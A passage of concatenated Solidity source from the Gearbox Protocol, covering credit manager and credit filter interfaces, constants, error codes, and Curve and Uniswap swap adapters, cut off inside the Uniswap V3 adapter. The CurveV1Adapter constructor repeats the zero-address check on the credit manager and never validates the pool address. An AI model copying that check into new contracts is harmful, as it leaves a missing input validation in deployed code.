/// More info: https://dev.gearbox.fi/developers/credit/economy#repay
/// https://dev.gearbox.fi/developers/credit/economy#liquidate
///
/// @param borrower Borrower address
/// @param isLiquidated True if calculated repay amount for liquidator
function calcRepayAmount(address borrower, bool isLiquidated)
external
view
override
returns (uint256);
/// @dev Returns minimal amount for open credit account
function minAmount() external view returns (uint256);
/// @dev Returns maximum amount for open credit account
function maxAmount() external view returns (uint256);
/// @dev Returns maximum leveraged factor allowed for this pool
function maxLeverageFactor() external view returns (uint256);
/// @dev Returns underlying token address
function underlyingToken() external view returns (address);
/// @dev Returns address of connected pool
function poolService() external view returns (address);
/// @dev Returns address of CreditFilter
function creditFilter() external view returns (ICreditFilter);
/// @dev Returns address of CreditFilter
function creditAccounts(address borrower) external view returns (address);
/// @dev Executes filtered order on credit account which is connected with particular borrowers
/// @param borrower Borrower address
/// @param target Target smart-contract
/// @param data Call data for call
function executeOrder(
address borrower,
address target,
bytes memory data
) external returns (bytes memory);
/// @dev Approves token for msg.sender's credit account
function approve(address targetContract, address token) external;
/// @dev Approve tokens for credit accounts. Restricted for adapters only
function provideCreditAccountAllowance(
address creditAccount,
address toContract,
address token
) external;
function transferAccountOwnership(address newOwner) external;
/// @dev Returns address of borrower's credit account and reverts of borrower has no one.
/// @param borrower Borrower address
function getCreditAccountOrRevert(address borrower)
external
view
override
returns (address);
// function feeSuccess() external view returns (uint256);
function feeInterest() external view returns (uint256);
function feeLiquidation() external view returns (uint256);
function liquidationDiscount() external view returns (uint256);
function minHealthFactor() external view returns (uint256);
function defaultSwapContract() external view override returns (address);
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
interface ICreditFilter {
// Emits each time token is allowed or liquidtion threshold changed
event TokenAllowed(address indexed token, uint256 liquidityThreshold);
// Emits each time token is allowed or liquidtion threshold changed
event TokenForbidden(address indexed token);
// Emits each time contract is allowed or adapter changed
event ContractAllowed(address indexed protocol, address indexed adapter);
// Emits each time contract is forbidden
event ContractForbidden(address indexed protocol);
// Emits each time when fast check parameters are updated
event NewFastCheckParameters(uint256 chiThreshold, uint256 fastCheckDelay);
event TransferAccountAllowed(
address indexed from,
address indexed to,
bool state
);
event TransferPluginAllowed(
address indexed pugin,
bool state
);
event PriceOracleUpdated(address indexed newPriceOracle);
//
// STATE-CHANGING FUNCTIONS
//
/// @dev Adds token to the list of allowed tokens
/// @param token Address of allowed token
/// @param liquidationThreshold The constant showing the maximum allowable ratio of Loan-To-Value for the i-th asset.
function allowToken(address token, uint256 liquidationThreshold) external;
/// @dev Adds contract to the list of allowed contracts
/// @param targetContract Address of contract to be allowed
/// @param adapter Adapter contract address
function allowContract(address targetContract, address adapter) external;
/// @dev Forbids contract and removes it from the list of allowed contracts
/// @param targetContract Address of allowed contract
function forbidContract(address targetContract) external;
/// @dev Checks financial order and reverts if tokens aren't in list or collateral protection alerts
/// @param creditAccount Address of credit account
/// @param tokenIn Address of token In in swap operation
/// @param tokenOut Address of token Out in swap operation
/// @param amountIn Amount of tokens in
/// @param amountOut Amount of tokens out
function checkCollateralChange(
address creditAccount,
address tokenIn,
address tokenOut,
uint256 amountIn,
uint256 amountOut
) external;
function checkMultiTokenCollateral(
address creditAccount,
uint256[] memory amountIn,
uint256[] memory amountOut,
address[] memory tokenIn,
address[] memory tokenOut
) external;
/// @dev Connects credit managaer, hecks that all needed price feeds exists and finalize config
function connectCreditManager(address poolService) external;
/// @dev Sets collateral protection for new credit accounts
function initEnabledTokens(address creditAccount) external;
function checkAndEnableToken(address creditAccount, address token) external;
//
// GETTERS
//
/// @dev Returns quantity of contracts in allowed list
function allowedContractsCount() external view returns (uint256);
/// @dev Returns of contract address from the allowed list by its id
function allowedContracts(uint256 id) external view returns (address);
/// @dev Reverts if token isn't in token allowed list
function revertIfTokenNotAllowed(address token) external view;
/// @dev Returns true if token is in allowed list otherwise false
function isTokenAllowed(address token) external view returns (bool);
/// @dev Returns quantity of tokens in allowed list
function allowedTokensCount() external view returns (uint256);
/// @dev Returns of token address from allowed list by its id
function allowedTokens(uint256 id) external view returns (address);
/// @dev Calculates total value for provided address
/// More: https://dev.gearbox.fi/developers/credit/economy#total-value
///
/// @param creditAccount Token creditAccount address
function calcTotalValue(address creditAccount)
external
view
returns (uint256 total);
/// @dev Calculates Threshold Weighted Total Value
/// More: https://dev.gearbox.fi/developers/credit/economy#threshold-weighted-value
///
///@param creditAccount Credit account address
function calcThresholdWeightedValue(address creditAccount)
external
view
returns (uint256 total);
function contractToAdapter(address allowedContract)
external
view
returns (address);
/// @dev Returns address of underlying token
function underlyingToken() external view returns (address);
/// @dev Returns address & balance of token by the id of allowed token in the list
/// @param creditAccount Credit account address
/// @param id Id of token in allowed list
/// @return token Address of token
/// @return balance Token balance
function getCreditAccountTokenById(address creditAccount, uint256 id)
external
view
returns (
address token,
uint256 balance,
uint256 tv,
uint256 twv
);
/**
* @dev Calculates health factor for the credit account
*
* sum(asset[i] * liquidation threshold[i])
* Hf = --------------------------------------------
* borrowed amount + interest accrued
*
*
* More info: https://dev.gearbox.fi/developers/credit/economy#health-factor
*
* @param creditAccount Credit account address
* @return Health factor in percents (see PERCENTAGE FACTOR in PercentageMath.sol)
*/
function calcCreditAccountHealthFactor(address creditAccount)
external
view
returns (uint256);
/// @dev Calculates credit account interest accrued
/// More: https://dev.gearbox.fi/developers/credit/economy#interest-rate-accrued
///
/// @param creditAccount Credit account address
function calcCreditAccountAccruedInterest(address creditAccount)
external
view
returns (uint256);
/// @dev Return enabled tokens - token masks where each bit is "1" is token is enabled
function enabledTokens(address creditAccount)
external
view
returns (uint256);
function liquidationThresholds(address token)
external
view
returns (uint256);
function priceOracle() external view returns (address);
function updateUnderlyingTokenLiquidationThreshold() external;
function revertIfCantIncreaseBorrowing(
address creditAccount,
uint256 minHealthFactor
) external view;
function revertIfAccountTransferIsNotAllowed(
address onwer,
address creditAccount
) external view;
function approveAccountTransfers(address from, bool state) external;
function allowanceForAccountTransfers(address from, address to)
external
view
returns (bool);
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
import {PercentageMath} from "../math/PercentageMath.sol";
library Constants {
uint256 constant MAX_INT =
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
// 25% of MAX_INT
uint256 constant MAX_INT_4 =
0x3fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
// REWARD FOR LEAN DEPLOYMENT MINING
uint256 constant ACCOUNT_CREATION_REWARD = 1e5;
uint256 constant DEPLOYMENT_COST = 1e17;
// FEE = 10%
uint256 constant FEE_INTEREST = 1000; // 10%
// FEE + LIQUIDATION_FEE 2%
uint256 constant FEE_LIQUIDATION = 200;
// Liquidation premium 5%
uint256 constant LIQUIDATION_DISCOUNTED_SUM = 9500;
// 100% - LIQUIDATION_FEE - LIQUIDATION_PREMIUM
uint256 constant UNDERLYING_TOKEN_LIQUIDATION_THRESHOLD =
LIQUIDATION_DISCOUNTED_SUM - FEE_LIQUIDATION;
// Seconds in a year
uint256 constant SECONDS_PER_YEAR = 365 days;
uint256 constant SECONDS_PER_ONE_AND_HALF_YEAR = SECONDS_PER_YEAR * 3 /2;
// 1e18
uint256 constant RAY = 1e27;
uint256 constant WAD = 1e18;
// OPERATIONS
uint8 constant OPERATION_CLOSURE = 1;
uint8 constant OPERATION_REPAY = 2;
uint8 constant OPERATION_LIQUIDATION = 3;
// Decimals for leverage, so x4 = 4*LEVERAGE_DECIMALS for openCreditAccount function
uint8 constant LEVERAGE_DECIMALS = 100;
// Maximum withdraw fee for pool in percentage math format. 100 = 1%
uint8 constant MAX_WITHDRAW_FEE = 100;
uint256 constant CHI_THRESHOLD = 9950;
uint256 constant HF_CHECK_INTERVAL_DEFAULT = 4;
uint256 constant NO_SWAP = 0;
uint256 constant UNISWAP_V2 = 1;
uint256 constant UNISWAP_V3 = 2;
uint256 constant CURVE_V1 = 3;
uint256 constant LP_YEARN = 4;
uint256 constant EXACT_INPUT = 1;
uint256 constant EXACT_OUTPUT = 2;
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
/// @title Errors library
library Errors {
//
// COMMON
//
string public constant ZERO_ADDRESS_IS_NOT_ALLOWED = "Z0";
string public constant NOT_IMPLEMENTED = "NI";
string public constant INCORRECT_PATH_LENGTH = "PL";
string public constant INCORRECT_ARRAY_LENGTH = "CR";
string public constant REGISTERED_CREDIT_ACCOUNT_MANAGERS_ONLY = "CP";
string public constant REGISTERED_POOLS_ONLY = "RP";
string public constant INCORRECT_PARAMETER = "IP";
//
// MATH
//
string public constant MATH_MULTIPLICATION_OVERFLOW = "M1";
string public constant MATH_ADDITION_OVERFLOW = "M2";
string public constant MATH_DIVISION_BY_ZERO = "M3";
//
// POOL
//
string public constant POOL_CONNECTED_CREDIT_MANAGERS_ONLY = "PS0";
string public constant POOL_INCOMPATIBLE_CREDIT_ACCOUNT_MANAGER = "PS1";
string public constant POOL_MORE_THAN_EXPECTED_LIQUIDITY_LIMIT = "PS2";
string public constant POOL_INCORRECT_WITHDRAW_FEE = "PS3";
string public constant POOL_CANT_ADD_CREDIT_MANAGER_TWICE = "PS4";
//
// CREDIT MANAGER
//
string public constant CM_NO_OPEN_ACCOUNT = "CM1";
string
public constant CM_ZERO_ADDRESS_OR_USER_HAVE_ALREADY_OPEN_CREDIT_ACCOUNT =
"CM2";
string public constant CM_INCORRECT_AMOUNT = "CM3";
string public constant CM_CAN_LIQUIDATE_WITH_SUCH_HEALTH_FACTOR = "CM4";
string public constant CM_CAN_UPDATE_WITH_SUCH_HEALTH_FACTOR = "CM5";
string public constant CM_WETH_GATEWAY_ONLY = "CM6";
string public constant CM_INCORRECT_PARAMS = "CM7";
string public constant CM_INCORRECT_FEES = "CM8";
string public constant CM_MAX_LEVERAGE_IS_TOO_HIGH = "CM9";
string public constant CM_CANT_CLOSE_WITH_LOSS = "CMA";
string public constant CM_TARGET_CONTRACT_iS_NOT_ALLOWED = "CMB";
string public constant CM_TRANSFER_FAILED = "CMC";
string public constant CM_INCORRECT_NEW_OWNER = "CME";
//
// ACCOUNT FACTORY
//
string public constant AF_CANT_CLOSE_CREDIT_ACCOUNT_IN_THE_SAME_BLOCK =
"AF1";
string public constant AF_MINING_IS_FINISHED = "AF2";
string public constant AF_CREDIT_ACCOUNT_NOT_IN_STOCK = "AF3";
string public constant AF_EXTERNAL_ACCOUNTS_ARE_FORBIDDEN = "AF4";
//
// ADDRESS PROVIDER
//
string public constant AS_ADDRESS_NOT_FOUND = "AP1";
//
// CONTRACTS REGISTER
//
string public constant CR_POOL_ALREADY_ADDED = "CR1";
string public constant CR_CREDIT_MANAGER_ALREADY_ADDED = "CR2";
//
// CREDIT_FILTER
//
string public constant CF_UNDERLYING_TOKEN_FILTER_CONFLICT = "CF0";
string public constant CF_INCORRECT_LIQUIDATION_THRESHOLD = "CF1";
string public constant CF_TOKEN_IS_NOT_ALLOWED = "CF2";
string public constant CF_CREDIT_MANAGERS_ONLY = "CF3";
string public constant CF_ADAPTERS_ONLY = "CF4";
string public constant CF_OPERATION_LOW_HEALTH_FACTOR = "CF5";
string public constant CF_TOO_MUCH_ALLOWED_TOKENS = "CF6";
string public constant CF_INCORRECT_CHI_THRESHOLD = "CF7";
string public constant CF_INCORRECT_FAST_CHECK = "CF8";
string public constant CF_NON_TOKEN_CONTRACT = "CF9";
string public constant CF_CONTRACT_IS_NOT_IN_ALLOWED_LIST = "CFA";
string public constant CF_FAST_CHECK_NOT_COVERED_COLLATERAL_DROP = "CFB";
string public constant CF_SOME_LIQUIDATION_THRESHOLD_MORE_THAN_NEW_ONE =
"CFC";
string public constant CF_ADAPTER_CAN_BE_USED_ONLY_ONCE = "CFD";
string public constant CF_INCORRECT_PRICEFEED = "CFE";
string public constant CF_TRANSFER_IS_NOT_ALLOWED = "CFF";
string public constant CF_CREDIT_MANAGER_IS_ALREADY_SET = "CFG";
//
// CREDIT ACCOUNT
//
string public constant CA_CONNECTED_CREDIT_MANAGER_ONLY = "CA1";
string public constant CA_FACTORY_ONLY = "CA2";
//
// PRICE ORACLE
//
string public constant PO_PRICE_FEED_DOESNT_EXIST = "PO0";
string public constant PO_TOKENS_WITH_DECIMALS_MORE_18_ISNT_ALLOWED = "PO1";
string public constant PO_AGGREGATOR_DECIMALS_SHOULD_BE_18 = "PO2";
//
// ACL
//
string public constant ACL_CALLER_NOT_PAUSABLE_ADMIN = "ACL1";
string public constant ACL_CALLER_NOT_CONFIGURATOR = "ACL2";
//
// WETH GATEWAY
//
string public constant WG_DESTINATION_IS_NOT_WETH_COMPATIBLE = "WG1";
string public constant WG_RECEIVE_IS_NOT_ALLOWED = "WG2";
string public constant WG_NOT_ENOUGH_FUNDS = "WG3";
//
// LEVERAGED ACTIONS
//
string public constant LA_INCORRECT_VALUE = "LA1";
string public constant LA_HAS_VALUE_WITH_TOKEN_TRANSFER = "LA2";
string public constant LA_UNKNOWN_SWAP_INTERFACE = "LA3";
string public constant LA_UNKNOWN_LP_INTERFACE = "LA4";
string public constant LA_LOWER_THAN_AMOUNT_MIN = "LA5";
string public constant LA_TOKEN_OUT_IS_NOT_COLLATERAL = "LA6";
//
// YEARN PRICE FEED
//
string public constant YPF_PRICE_PER_SHARE_OUT_OF_RANGE = "YP1";
string public constant YPF_INCORRECT_LIMITER_PARAMETERS = "YP2";
//
// TOKEN DISTRIBUTOR
//
string public constant TD_WALLET_IS_ALREADY_CONNECTED_TO_VC = "TD1";
string public constant TD_INCORRECT_WEIGHTS = "TD2";
string public constant TD_NON_ZERO_BALANCE_AFTER_DISTRIBUTION = "TD3";
string public constant TD_CONTRIBUTOR_IS_NOT_REGISTERED = "TD4";
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {ICreditFilter} from "../interfaces/ICreditFilter.sol";
import {ICreditManager} from "../interfaces/ICreditManager.sol";
import {ICurvePool} from "../integrations/curve/ICurvePool.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {CreditAccount} from "../credit/CreditAccount.sol";
import {CreditManager} from "../credit/CreditManager.sol";
import {Constants} from "../libraries/helpers/Constants.sol";
import {Errors} from "../libraries/helpers/Errors.sol";
/// @title CurveV1 adapter
contract CurveV1Adapter is ICurvePool, ReentrancyGuard {
using SafeMath for uint256;
// Original pool contract
ICurvePool public curvePool;
ICreditManager public creditManager;
ICreditFilter public creditFilter;
/// @dev Constructor
/// @param _creditManager Address Credit manager
/// @param _curvePool Address of curve-compatible pool
constructor(address _creditManager, address _curvePool) {
require(
_creditManager != address(0) && _creditManager != address(0),
Errors.ZERO_ADDRESS_IS_NOT_ALLOWED
);
creditManager = ICreditManager(_creditManager);
creditFilter = ICreditFilter(creditManager.creditFilter());
curvePool = ICurvePool(_curvePool);
}
function coins(uint256 i) external view override returns (address) {
return ICurvePool(curvePool).coins(i);
}
/// @dev Exchanges two assets on Curve-compatible pools. Restricted for pool calls only
/// @param i Index value for the coin to send
/// @param j Index value of the coin to receive
/// @param dx Amount of i being exchanged
/// @param min_dy Minimum amount of j to receive
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external override nonReentrant {
address creditAccount = creditManager.getCreditAccountOrRevert(
msg.sender
); // M:[CVA-1]
address tokenIn = curvePool.coins(uint256(i)); // M:[CVA-1]
address tokenOut = curvePool.coins(uint256(j)); // M:[CVA-1]
creditManager.provideCreditAccountAllowance(
creditAccount,
address(curvePool),
tokenIn
); // M:[CVA-1]
uint256 balanceInBefore = IERC20(tokenIn).balanceOf(creditAccount); // M:[CVA-1]
uint256 balanceOutBefore = IERC20(tokenOut).balanceOf(creditAccount); // M:[CVA-1]
bytes memory data = abi.encodeWithSelector(
bytes4(0x3df02124), // "exchange(int128,int128,uint256,uint256)",
i,
j,
dx,
min_dy
); // M:[CVA-1]
creditManager.executeOrder(msg.sender, address(curvePool), data); // M:[CVA-1]
creditFilter.checkCollateralChange(
creditAccount,
tokenIn,
tokenOut,
balanceInBefore.sub(IERC20(tokenIn).balanceOf(creditAccount)),
IERC20(tokenOut).balanceOf(creditAccount).sub(balanceOutBefore)
); // M:[CVA-1]
}
function exchange_underlying(
int128, // i
int128, // j
uint256, // dx
uint256 // min_dy
) external pure override {
revert(Errors.NOT_IMPLEMENTED);
}
function get_dy_underlying(
int128 i,
int128 j,
uint256 dx
) external view override returns (uint256) {
return curvePool.get_dy_underlying(i, j, dx);
}
function get_dy(
int128 i,
int128 j,
uint256 dx
) external view override returns (uint256) {
return curvePool.get_dy(i, j, dx);
}
function get_virtual_price() external view override returns (uint256) {
return curvePool.get_virtual_price();
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {IUniswapV2Router02} from "../integrations/uniswap/IUniswapV2Router02.sol";
import {ICreditFilter} from "../interfaces/ICreditFilter.sol";
import {ICreditManager} from "../interfaces/ICreditManager.sol";
import {CreditManager} from "../credit/CreditManager.sol";
import {Constants} from "../libraries/helpers/Constants.sol";
import {Errors} from "../libraries/helpers/Errors.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
/// @title UniswapV2 Router adapter
contract UniswapV2Adapter is IUniswapV2Router02, ReentrancyGuard {
using SafeMath for uint256;
ICreditManager public creditManager;
ICreditFilter public creditFilter;
address public router;
/// @dev Constructor
/// @param _creditManager Address Credit manager
/// @param _router Address of IUniswapV2Router02
constructor(address _creditManager, address _router) {
require(
_creditManager != address(0) && _router != address(0),
Errors.ZERO_ADDRESS_IS_NOT_ALLOWED
);
creditManager = ICreditManager(_creditManager);
creditFilter = ICreditFilter(creditManager.creditFilter());
router = _router;
}
/**
* @dev Swap tokens to exact tokens using Uniswap-compatible protocol
* - checks that swap contract is allowed
* - checks that in/out tokens are in allowed list
* - checks that required allowance is enough, if not - set it to MAX_INT
* - call swap function on credit account contracts
* @param amountOut The amount of output tokens to receive.
* @param amountInMax The maximum amount of input tokens that can be required before the transaction reverts.
* @param path An array of token addresses. path.length must be >= 2. Pools for each consecutive pair of
* addresses must exist and have liquidity.
* @param deadline Unix timestamp after which the transaction will revert.
* for more information check uniswap documentation: https://uniswap.org/docs/v2/smart-contracts/router02/
*/
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address,
uint256 deadline
) external override nonReentrant returns (uint256[] memory amounts) {
address creditAccount = creditManager.getCreditAccountOrRevert(
msg.sender
);
address tokenIn = path[0];
address tokenOut = path[path.length - 1];
creditManager.provideCreditAccountAllowance(
creditAccount,
router,
tokenIn
);
uint256 balanceInBefore = IERC20(tokenIn).balanceOf(creditAccount); // M:[CVA-1]
uint256 balanceOutBefore = IERC20(tokenOut).balanceOf(creditAccount); // M:[CVA-1]
bytes memory data = abi.encodeWithSelector(
bytes4(0x8803dbee), // "swapTokensForExactTokens(uint256,uint256,address[],address,uint256)",
amountOut,
amountInMax,
path,
creditAccount,
deadline
);
amounts = abi.decode(
creditManager.executeOrder(msg.sender, router, data),
(uint256[])
);
creditFilter.checkCollateralChange(
creditAccount,
tokenIn,
tokenOut,
balanceInBefore.sub(IERC20(tokenIn).balanceOf(creditAccount)),
IERC20(tokenOut).balanceOf(creditAccount).sub(balanceOutBefore)
); // ToDo: CHECK(!)
}
/**
* Swaps exact tokens to tokens on Uniswap compatible protocols
* - checks that swap contract is allowed
* - checks that in/out tokens are in allowed list
* - checks that required allowance is enough, if not - set it to MAX_INT
* - call swap function on credit account contracts
* @param amountIn The amount of input tokens to send.
* @param amountOutMin The minimum amount of output tokens that must be received for the transaction not to revert.
* @param path An array of token addresses. path.length must be >= 2. Pools for each consecutive pair of
* addresses must exist and have liquidity.
* deadline Unix timestamp after which the transaction will revert.
* for more information check uniswap documentation: https://uniswap.org/docs/v2/smart-contracts/router02/
*/
/// #limit amountOutMin == 0 &&
/// amountIn > 0 &&
/// deadline > block.timestamp;
/// #hint path.length == 2 &&
/// (path[0] == 0x0eb775F99A28cb591Fa449ca74eF8E7cEd3A609a ||
/// path[0] == 0x47f93809340CAA8108f8D62A4E4f6C2A815e882E ||
/// path[0] == 0xcFB04485A211b0573Ace62EBDCcC5cFC51107EaA ||
/// path[0] == 0x7FA12843d541A1Fd905d620cD810D05BfDC3226e ||
/// path[0] == 0x171A8DEa3fd87D46421DFc6F0d11Cc3c8C75f54D) &&
/// (path[1] == 0x0eb775F99A28cb591Fa449ca74eF8E7cEd3A609a ||
/// path[1] == 0x47f93809340CAA8108f8D62A4E4f6C2A815e882E ||
/// path[1] == 0xcFB04485A211b0573Ace62EBDCcC5cFC51107EaA ||
/// path[1] == 0x7FA12843d541A1Fd905d620cD810D05BfDC3226e ||
/// path[1] == 0x171A8DEa3fd87D46421DFc6F0d11Cc3c8C75f54D);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address,
uint256 deadline
) external override nonReentrant returns (uint256[] memory amounts) {
address creditAccount = creditManager.getCreditAccountOrRevert(
msg.sender
);
address tokenIn = path[0];
address tokenOut = path[path.length - 1];
creditManager.provideCreditAccountAllowance(
creditAccount,
router,
tokenIn
);
uint256 balanceInBefore = IERC20(tokenIn).balanceOf(creditAccount); // M:
uint256 balanceOutBefore = IERC20(tokenOut).balanceOf(creditAccount); // M:
bytes memory data = abi.encodeWithSelector(
bytes4(0x38ed1739), // "swapExactTokensForTokens(uint256,uint256,address[],address,uint256)",
amountIn,
amountOutMin,
path,
creditAccount,
deadline
);
amounts = abi.decode(
creditManager.executeOrder(msg.sender, router, data),
(uint256[])
);
creditFilter.checkCollateralChange(
creditAccount,
tokenIn,
tokenOut,
balanceInBefore.sub(IERC20(tokenIn).balanceOf(creditAccount)),
IERC20(tokenOut).balanceOf(creditAccount).sub(balanceOutBefore)
); // ToDo: CHECK(!)
}
function removeLiquidityETHSupportingFeeOnTransferTokens(
address, // token,
uint256, // liquidity,
uint256, // amountTokenMin,
uint256, // amountETHMin,
address, // to,
uint256 // deadline
) external pure override returns (uint256) {
revert(Errors.NOT_IMPLEMENTED);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address, // token,
uint256, // liquidity,
uint256, // amountTokenMin,
uint256, // amountETHMin,
address, // to,
uint256, // deadline,
bool, // approveMax,
uint8, // v,
bytes32, // r,
bytes32 // s
) external pure override returns (uint256) {
revert(Errors.NOT_IMPLEMENTED);
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256, // amountIn,
uint256, // amountOutMin,
address[] calldata, // path,
address, // to,
uint256 // deadline
) external pure override {
revert(Errors.NOT_IMPLEMENTED);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256, // amountOutMin,
address[] calldata, // path,
address, // to,
uint256 // deadline
) external payable override {
revert(Errors.NOT_IMPLEMENTED);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256, // amountIn,
uint256, // amountOutMin,
address[] calldata, // path,
address, // to,
uint256 // deadline
) external pure override {
revert(Errors.NOT_IMPLEMENTED);
}
function factory() external view override returns (address) {
return IUniswapV2Router02(router).factory();
}
function WETH() external view override returns (address) {
return IUniswapV2Router02(router).WETH();
}
function addLiquidity(
address, // tokenA,
address, // tokenB,
uint256, // amountADesired,
uint256, // amountBDesired,
uint256, // amountAMin,
uint256, // amountBMin,
address, // to,
uint256 // deadline
)
external
pure
override
returns (
uint256,
uint256,
uint256
)
{
revert(Errors.NOT_IMPLEMENTED);
}
function addLiquidityETH(
address, // token,
uint256, // amountTokenDesired,
uint256, // amountTokenMin,
uint256, // amountETHMin,
address, // to,
uint256 // deadline
)
external
payable
override
returns (
uint256,
uint256,
uint256
)
{
revert(Errors.NOT_IMPLEMENTED);
}
function removeLiquidity(
address, // tokenA,
address, // tokenB,
uint256, // liquidity,
uint256, // amountAMin,
uint256, // amountBMin,
address, // to,
uint256 // deadline
) external pure override returns (uint256, uint256) {
revert(Errors.NOT_IMPLEMENTED);
}
function removeLiquidityETH(
address, // token,
uint256, // liquidity,
uint256, // amountTokenMin,
uint256, // amountETHMin,
address, // to,
uint256 // deadline
) external pure override returns (uint256, uint256) {
revert(Errors.NOT_IMPLEMENTED);
}
function removeLiquidityWithPermit(
address, // tokenA,
address, // tokenB,
uint256, // liquidity,
uint256, // amountAMin,
uint256, // amountBMin,
address, // to,
uint256, // deadline,
bool, // approveMax,
uint8, // v,
bytes32, // r,
bytes32 // s
) external pure override returns (uint256, uint256) {
revert(Errors.NOT_IMPLEMENTED);
}
function removeLiquidityETHWithPermit(
address, // token,
uint256, // liquidity,
uint256, // amountTokenMin,
uint256, // amountETHMin,
address, // to,
uint256, // deadline,
bool, // approveMax,
uint8, // v,
bytes32, // r,
bytes32 // s
) external pure override returns (uint256, uint256) {
revert(Errors.NOT_IMPLEMENTED);
}
function swapExactETHForTokens(
uint256, // amountOutMin,
address[] calldata, // path,
address, // to,
uint256 // deadline
) external payable override returns (uint256[] memory) {
revert(Errors.NOT_IMPLEMENTED);
}
function swapTokensForExactETH(
uint256, // amountOut,
uint256, // amountInMax,
address[] calldata, // path,
address, // to,
uint256 // deadline
) external pure override returns (uint256[] memory) {
revert(Errors.NOT_IMPLEMENTED);
}
function swapExactTokensForETH(
uint256, // amountIn,
uint256, //amountOutMin,
address[] calldata, // path,
address, // to,
uint256 // deadline
) external pure override returns (uint256[] memory) {
revert(Errors.NOT_IMPLEMENTED);
}
function swapETHForExactTokens(
uint256, // amountOut,
address[] calldata, // path,
address, // to,
uint256 // deadline
) external payable override returns (uint256[] memory) {
revert(Errors.NOT_IMPLEMENTED);
}
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external view override returns (uint256 amountB) {
return IUniswapV2Router02(router).quote(amountA, reserveA, reserveB);
}
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external view override returns (uint256 amountOut) {
return
IUniswapV2Router02(router).getAmountOut(
amountIn,
reserveIn,
reserveOut
);
}
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external view override returns (uint256 amountIn) {
return
IUniswapV2Router02(router).getAmountIn(
amountOut,
reserveIn,
reserveOut
);
}
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
override
returns (uint256[] memory amounts)
{
return IUniswapV2Router02(router).getAmountsOut(amountIn, path);
}
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
override
returns (uint256[] memory amounts)
{
return IUniswapV2Router02(router).getAmountsIn(amountOut, path);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
pragma abicoder v2;
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {ISwapRouter} from "../integrations/uniswap/IUniswapV3.sol";
import {BytesLib} from "../integrations/uniswap/BytesLib.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ICreditFilter} from "../interfaces/ICreditFilter.sol";
import {ICreditManager} from "../interfaces/ICreditManager.sol";
import {CreditManager} from "../credit/CreditManager.sol";
import {Errors} from "../libraries/helpers/Errors.sol";
/// @title UniswapV3 Router adapter
contract UniswapV3Adapter is ISwapRouter, ReentrancyGuard {
using BytesLib for bytes;
using SafeMath for uint256;
ICreditManager public creditManager;
ICreditFilter public creditFilter;
address public router;
/// @dev The length of the bytes encoded address
uint256 private constant ADDR_SIZE = 20;
/// @dev Constructor
/// @param _creditManager Address Credit manager
/// @param _router Address of ISwapRouter
constructor(address _creditManager, address _router) {
require(
_creditManager != address(0) && _router != address(0),
Errors.ZERO_ADDRESS_IS_NOT_ALLOWED
);
creditManager = ICreditManager(_creditManager);
creditFilter = ICreditFilter(creditManager.creditFilter());
router = _router;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
/// @return amountOut The amount of the received token
function exactInputSingle(ExactInputSingleParams calldata params)
external
payable
override
nonReentrant
returns (uint256 amountOut)
{
address creditAccount = creditManager.getCreditAccountOrRevert(
msg.sender
);
creditManager.provideCreditAccountAllowance(
creditAccount,
router,
params.tokenIn
);
ExactInputSingleParams memory paramsUpdate = params;
paramsUpdate.recipient = creditAccount;
// 0x414bf389 = exactInputSingle((address,address,uint24,address,uint256,uint256,uint256,uint160))
bytes memory data = abi.encodeWithSelector(
bytes4(0x414bf389), // +
paramsUpdate
);
uint256 balanceInBefore = IERC20(paramsUpdate.tokenIn).balanceOf(
creditAccount
);
uint256 balanceOutBefore = IERC20(paramsUpdate.tokenOut).balanceOf(
creditAccount
);
(amountOut) = abi.decode(
creditManager.executeOrder(msg.sender, router, data),
(uint256)
);
creditFilter.checkCollateralChange(
creditAccount,
params.tokenIn,
params.tokenOut,
balanceInBefore.sub(
IERC20(paramsUpdate.tokenIn).balanceOf(creditAccount)
),
